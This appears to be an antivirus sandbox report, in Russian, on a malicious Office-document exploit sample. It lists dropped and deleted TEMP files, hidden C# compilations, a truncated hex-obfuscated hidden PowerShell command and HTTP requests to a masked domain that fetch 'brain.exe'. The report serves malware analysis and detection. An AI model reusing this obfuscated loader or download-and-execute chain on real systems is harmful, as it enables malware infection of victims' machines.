Exploit.Siggen.62165

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function xec4a {param($o63366)$m1bad6='u397cf';$w12f5='';for ($i=0; $i -lt $o63366.length;$i+=2){$l38fa35=[convert]::ToByte($o63366.Substring($i,2),16);$w12f5+=[char]($l38...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsypckpg.0.cs
%TEMP%\xxcbhrcp.dll
%TEMP%\res319d.tmp
%TEMP%\csc318c.tmp
%TEMP%\xxcbhrcp.out
%TEMP%\xxcbhrcp.cmdline
%TEMP%\xxcbhrcp.0.cs
%TEMP%\hxhkwk0v.dll
%TEMP%\res1eff.tmp
%TEMP%\csc1eef.tmp
%TEMP%\hxhkwk0v.out
%TEMP%\hxhkwk0v.cmdline
%TEMP%\hxhkwk0v.0.cs
%TEMP%\l7gdoi8e.dll
%TEMP%\res7ed.tmp
%TEMP%\nsypckpg.dll
%TEMP%\csc7dd.tmp
%TEMP%\res3e6.tmp
%TEMP%\v9upx5rd.dll
%TEMP%\res34a.tmp
%TEMP%\l7gdoi8e.out
%TEMP%\l7gdoi8e.cmdline
%TEMP%\l7gdoi8e.0.cs
%TEMP%\csc3d5.tmp
%TEMP%\csc339.tmp
%TEMP%\v9upx5rd.out
%TEMP%\v9upx5rd.cmdline
%TEMP%\v9upx5rd.0.cs
%TEMP%\nsypckpg.out
%TEMP%\nsypckpg.cmdline
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{78d6b654-bcba-470e-80a1-0067d2816d43}.tmp
%APPDATA%\v5cfb6.exe

Удаляет следующие файлы

%TEMP%\res34a.tmp
%TEMP%\l7gdoi8e.pdb
%TEMP%\l7gdoi8e.out
%TEMP%\res1eff.tmp
%TEMP%\csc1eef.tmp
%TEMP%\hxhkwk0v.out
%TEMP%\hxhkwk0v.0.cs
%TEMP%\hxhkwk0v.pdb
%TEMP%\xxcbhrcp.pdb
%TEMP%\hxhkwk0v.dll
%TEMP%\res319d.tmp
%TEMP%\csc318c.tmp
%TEMP%\xxcbhrcp.out
%TEMP%\xxcbhrcp.cmdline
%TEMP%\xxcbhrcp.0.cs
%TEMP%\l7gdoi8e.dll
%TEMP%\hxhkwk0v.cmdline
%TEMP%\l7gdoi8e.0.cs
%TEMP%\nsypckpg.pdb
%TEMP%\csc339.tmp
%TEMP%\res3e6.tmp
%TEMP%\csc3d5.tmp
%TEMP%\nsypckpg.out
%TEMP%\nsypckpg.cmdline
%TEMP%\nsypckpg.0.cs
%TEMP%\nsypckpg.dll
%TEMP%\v9upx5rd.cmdline
%TEMP%\res7ed.tmp
%TEMP%\csc7dd.tmp
%TEMP%\v9upx5rd.0.cs
%TEMP%\v9upx5rd.pdb
%TEMP%\v9upx5rd.out
%TEMP%\v9upx5rd.dll
%TEMP%\l7gdoi8e.cmdline
%TEMP%\xxcbhrcp.dll

Сетевая активность

TCP

Запросы HTTP GET

http://on####preneur.id/manager/brain.exe
http://on####preneur.id/cgi-sys/suspendedpage.cgi

UDP

DNS ASK on####preneur.id

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function xec4a {param($o63366)$m1bad6='u397cf';$w12f5='';for ($i=0; $i -lt $o63366.length;$i+=2){$l38fa35=[convert]::ToByte($o63366.Substring($i,2),16);$w12f5+=[char]($l38...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nsypckpg.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\v9upx5rd.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34A.tmp" "%TEMP%\CSC339.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3E6.tmp" "%TEMP%\CSC3D5.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l7gdoi8e.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7ED.tmp" "%TEMP%\CSC7DD.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hxhkwk0v.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1EFF.tmp" "%TEMP%\CSC1EEF.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xxcbhrcp.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES319D.tmp" "%TEMP%\CSC318C.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nsypckpg.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\v9upx5rd.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES34A.tmp" "%TEMP%\CSC339.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3E6.tmp" "%TEMP%\CSC3D5.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l7gdoi8e.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7ED.tmp" "%TEMP%\CSC7DD.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hxhkwk0v.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1EFF.tmp" "%TEMP%\CSC1EEF.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xxcbhrcp.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES319D.tmp" "%TEMP%\CSC318C.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding